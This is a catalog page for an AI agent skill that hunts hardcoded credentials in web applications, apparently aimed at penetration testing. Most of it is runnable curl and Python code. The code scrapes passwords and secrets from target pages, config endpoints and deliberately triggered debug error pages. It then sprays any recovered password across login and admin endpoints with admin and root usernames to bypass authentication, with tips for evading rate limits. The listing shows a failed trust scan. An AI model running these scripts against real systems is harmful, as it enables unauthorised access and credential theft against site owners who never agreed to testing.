hardcoded-credential-hunt
Detect hardcoded passwords in HTML forms, JavaScript, and API responses.
How do I install this agent skill?
npx skills add https://github.com/uphiago/recon-skills --skill hardcoded-credential-huntIs this agent skill safe to install?
- Gen Agent Trust Hubfail
This skill provides a suite of tools for identifying hardcoded credentials in web applications. The security risks are primarily associated with the ingestion of untrusted data from remote targets, which is then used in subsequent commands. Automated scanner warnings regarding remote code execution appear to be false positives, as they misidentify data piping to local Python scripts.
- Socketwarn
1 alert: gptSecurity
- Snykwarn
Risk: MEDIUM · 1 issue
What does this agent skill do?
Hardcoded Credential Hunt
Detect credentials baked into client-side code or HTML responses. Targets include master passwords in form value attributes, secret keys in inline scripts, API tokens in configuration endpoints, and plaintext credentials leaked through debug error pages. This class of vulnerability bypasses authentication entirely — no brute force required.
When to Use
- An application serves HTML forms with pre-filled or hidden password fields.
- A configuration endpoint (
/api/config,/env,/settings) returns JSON with credential-like strings. - A debug/error page leaks application secrets in JavaScript variables.
- An unauthenticated API endpoint returns data that controls authentication (reset, exit registration, admin actions).
- JavaScript bundles contain string assignments matching password patterns.
Prerequisites
terminalwith curl and python3.- A target serving HTML, JSON, or JavaScript without proper authentication on configuration/settings endpoints.
- Access to at least one public page, form, or API endpoint.
How to Run
# Scan HTML for password fields with pre-filled values
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/PATH" | grep -Poi '(?:password|passwd|senha|pass|pwd|secret)\s*[=:"]\s*"?[^"&\s]{4,30}"?' | head -10
# Scan JSON config endpoints for credential-like keys
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/config" | python3 -c "
import sys, json, re
try:
data = json.load(sys.stdin)
for k, v in data.items() if isinstance(data, dict) else []:
if any(x in k.lower() for x in ['pass','secret','key','token','auth']):
print(f'{k}: {v}')
except: pass
"
Quick Detection
# Scan HTML for password fields with pre-filled values
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/PATH" | grep -Poi '(?:password|passwd|senha|pass|pwd|secret)\s*[=:"]\s*"?[^"&\s]{4,30}"?' | head -10
# Scan JSON config endpoints for credential-like keys
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/config" | python3 -c "
import sys, json, re
try:
data = json.load(sys.stdin)
for k, v in data.items() if isinstance(data, dict) else []:
if any(x in k.lower() for x in ['pass','secret','key','token','auth']):
print(f'{k}: {v}')
except: pass
"
# Scan inline JavaScript for hardcoded secrets
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/" | grep -Po '(?:SECRET|PASSWORD|API_KEY|TOKEN)\s*=\s*"[^"]{8,}"' | head -10
Procedure
Phase 1 — HTML Form Inspection
Look for password fields with value attributes or hidden inputs containing credentials:
# Extract all password inputs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/PATH" | python3 -c "
import sys, re
html = sys.stdin.read()
# Inputs with type=password and non-empty value
for m in re.finditer(r'<input[^>]*type\s*=\s*[\"\']password[\"\'][^>]*value\s*=\s*[\"\']([^\"\']+)[\"\']', html):
print(f'PASSWORD FIELD: {m.group(1)}')
# Hidden inputs that look like passwords
for m in re.finditer(r'<input[^>]*type\s*=\s*[\"\']hidden[\"\'][^>]*name\s*=\s*[\"\']([^\"\']*(?:pass|senha|secret|token|key)[^\"\']*)[\"\'][^>]*value\s*=\s*[\"\']([^\"\']+)[\"\']', html, re.IGNORECASE):
print(f'HIDDEN CREDENTIAL: {m.group(1)} = {m.group(2)}')
"
Phase 2 — Configuration Endpoint Probing
Probe common config endpoints that may leak credentials:
for path in /api/config /api/settings /env /api/env /config.json /api/config.json \
/api/v1/config /api/configuration /api/v2/settings /api/status; do
result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com$path" -w "\n%{http_code}" 2>/dev/null)
code=$(echo "$result" | tail -1)
if [ "$code" = "200" ]; then
echo "=== $path (200) ==="
echo "$result" | python3 -c "
import sys, json, re
data = sys.stdin.read()
# Try JSON
try:
obj = json.loads(data)
for k, v in obj.items() if isinstance(obj, dict) else []:
if any(x in str(k).lower() for x in ['pass','secret','key','token','auth','jwt']):
print(f' {k}: {v}')
except:
# Try regex on plain text
for m in re.finditer(r'(?:password|passwd|secret|token|api[_-]?key)\s*[=:]\s*[\"']([^\"']{4,})[\"']', data, re.I):
print(f' {m.group(0)}')
" | head -20
fi
done
Phase 3 — Debug Error Page Analysis
Werkzeug, Django, and Express debug pages often leak secrets in inline JavaScript:
# Trigger an error and check for credential leaks
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:5000/ERROR_TRIGGER_PATH" -o /tmp/error.html
python3 - <<'PY'
import re
html = open('/tmp/error.html').read()
# Werkzeug debugger SECRET
match = re.search(r'SECRET\s*=\s*["]([^"\']+)["]', html)
if match: print(f'WERKZEUG_SECRET: {match.group(1)}')
# Django settings
for m in re.finditer(r'SECRET_KEY\s*=\s*["]([^"\']+)["]', html):
print(f'DJANGO_SECRET: {m.group(1)}')
# Generic credential patterns
for m in re.finditer(r'(?:PASSWORD|PASS|TOKEN|API_KEY)\s*=\s*["]([^"\']{6,})["]', html, re.I):
print(f'LEAKED: {m.group(0)}')
PY
Phase 4 — Authentication Bypass Testing
When a hardcoded password is found, test it against all authentication endpoints:
PASSWORD="found_password"
# Test against common auth endpoints
for endpoint in /login /api/login /api/auth/login /auth /admin /api/admin; do
for user in admin administrator root; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
-d "username=$user&password=$PASSWORD" \
"https://target.com$endpoint")
if [ "$code" = "302" ] || [ "$code" = "200" ]; then
echo "SUCCESS: $user:$PASSWORD at $endpoint (HTTP $code)"
fi
done
done
Pitfalls
- Placeholder values look real. Test
password123,changeme, and empty strings before reporting — they are often development defaults. - The credential may be scoped. A password for "exit registration" is not a full admin password. Map the credential to its actual permissions before scoring.
- Form values may be dynamic. Check if the password changes per session (CSRF token pattern) vs. being truly static.
- Base64 is not encryption. Decode any base64-looking strings found in JavaScript — they frequently contain credentials.
- Rate limiting may block testing. Space authentication attempts 2-3 seconds apart.
Verification
- Confirm the credential is static: fetch the page/endpoint three times and verify the password value is identical each time.
- Confirm it grants access: use the credential at the intended endpoint and compare against a known-failed attempt with a random wrong credential. A bare 200/302 is not proof — catch-all apps return 200 on failure. Require a body diff: session token issued, redirect to an authenticated area, or account-specific content absent from the failed attempt.
- Map the privilege level: test the credential against other endpoints to determine scope (read-only, write, admin, reset).
- Check for audit trail: repeat the access with a unique identifier in the request to verify the action appears in logs (confirms real impact).
Related Skills
api-noauth-hunt— Exploiting API endpoints that lack authentication entirely.js-secrets-extraction— Finding API keys and tokens in JavaScript bundles.source-leak-hunt— Detecting exposed configuration files (.env, wp-config, etc.).flask-werkzeug-attack— Exploiting Werkzeug debugger SECRET leaks and traceback disclosure.
How can the creator link this skill?
Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.
<a href="https://skillzs.dev/skills/uphiago/recon-skills/hardcoded-credential-hunt">View hardcoded-credential-hunt on skillZs</a>